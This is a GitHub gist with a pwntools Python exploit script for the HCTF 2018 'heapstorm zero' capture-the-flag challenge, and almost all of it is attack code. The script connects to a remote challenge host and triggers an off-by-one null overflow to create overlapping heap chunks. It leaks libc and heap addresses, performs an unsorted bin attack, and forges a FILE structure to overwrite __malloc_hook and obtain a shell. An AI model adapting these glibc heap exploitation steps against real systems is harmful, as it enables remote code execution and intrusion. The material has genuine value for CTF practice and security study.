Created
November 13, 2018 12:49
-
-
Save hama7230/bfbffc25ab304f38e2c8db6abe5ec69a to your computer and use it in GitHub Desktop.
HCTF 2018 heapstorm zero
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from pwn import * | |
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window | |
# libc = ELF('./libc64.so') | |
elf = ELF('./heapstorm_zero') | |
context(os='linux', arch=elf.arch) | |
# context(log_level='debug') # output verbose log | |
RHOST = "150.109.46.159" | |
RPORT = 20001 | |
LHOST = "127.0.0.1" | |
LPORT = 20001 | |
def section_addr(name, elf=elf): | |
return elf.get_section_by_name(name).header['sh_addr'] | |
def dbg(ss): | |
log.info("%s: 0x%x" % (ss, eval(ss))) | |
conn = None | |
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option | |
if opt in 'rl': | |
conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) | |
conn.sendline('R4UKcyMU6RpnypSEewwounQDoDWAADeJ') | |
elif opt == 'd': | |
gdbscript = """ | |
continue | |
""".format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) | |
conn = gdb.debug(['./heapstorm_zero'], gdbscript=gdbscript) | |
else: | |
conn = process(['./heapstorm_zero']) | |
# conn = process(['./heapstorm_zero'], env={'LD_PRELOAD': './libc64.so'}) | |
if opt == 'a': gdb.attach(conn) | |
def a(s, p): | |
conn.sendlineafter('Choice:', '1') | |
conn.sendlineafter('size:', str(s)) | |
conn.sendafter('content:', p) | |
time.sleep(0.1) | |
conn.recvuntil('Chunk index: ') | |
return int(conn.recvline()[:-1]) | |
def v(i): | |
conn.sendlineafter('Choice:', '2') | |
conn.sendlineafter('index:', str(i)) | |
def d(i): | |
conn.sendlineafter('Choice:', '3') | |
conn.sendlineafter('index:', str(i)) | |
# exploit | |
log.info('Pwning') | |
a(0x18, 'x'*0x10+'\n') | |
for i in range(0x10 - 1 - 1): | |
a(0x38, 'y'*0x10+'\n') | |
a(0x18, 'z'*0x10+'\n') | |
for i in range(1, 7): | |
d(i) | |
# cause __malloc_consolidate | |
conn.sendline('1'*0x400) | |
a(0x38, 'b'*0x38) # off-by-one null overflow, | |
x = a(0x38, 'c'*0x10 + '\n') # for avoiding assert() corrupted size vs. prev_size | |
d(x) | |
conn.sendline('1'*0x400) | |
d(7) | |
conn.sendline('1'*0x400) | |
# op == overlapped chunk | |
op_1 = a(0x38, 'd'*0x10 + '\n') | |
op_2 = a(0x38, 'd'*0x10 + '\n') | |
op_3 = a(0x38, 'd'*0x10 + '\n') ` | |
a(0x38, 'e'*0x10 + '\n') | |
v(op_1) # op_1 is overlapped with unsoretbin chunk, so we can get libc address | |
conn.recvuntil('Content: ') | |
libc_base = u64(conn.recv(6) + '\x00\x00') - 0x3c4b78 | |
dbg('libc_base') | |
# leak heap address but finally i don't use it. | |
x = a(0x38, 'e'*0x10 + '\n') | |
y = a(0x38, 'e'*0x10 + '\n') | |
d(x) | |
d(y) | |
v(op_2) | |
conn.recvuntil('Content: ') | |
heap_base = u64(conn.recv(6) + '\x00\x00') - 0xa0 | |
dbg('heap_base') | |
x = a(0x38, 'f'*0x10 + '\n') | |
op_4 = a(0x38, 'g'*0x10 + '\n') | |
a(0x38, 'h'*0x10 + '\n') | |
a(0x38, 'i'*0x10 + '\n') | |
a(0x38, 'j'*0x10 + '\n') | |
d(x) | |
d(op_4) | |
conn.sendline('1'*0x400) | |
a(0x38, 'k'*0x10 + '\n') | |
d(op_2) | |
a(0x38, p64(0xdeadbeef) + p64(libc_base + 0x3c4920 - 0x10) + 'aaaa\n') | |
a(0x38, 'unsorted bin attack\n') | |
payload = '1\n' + '\x00'*3 | |
payload += p64(libc_base + 0x3c6790) | |
payload += p64(0xffffffffffffffff) + p64(0) | |
payload += p64(libc_base + 0x3c49c0) | |
payload += p64(0) * 3 + p64(0xffffffff) + p64(0) * 2 | |
payload += p64(libc_base+0x3c36e0) # vtable | |
payload += '\x00' * 0x150 | |
payload += p64(libc_base + 0xf02a4) # __malloc_hook | |
conn.sendline(payload) | |
time.sleep(0.5) | |
conn.sendline('1') | |
conn.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment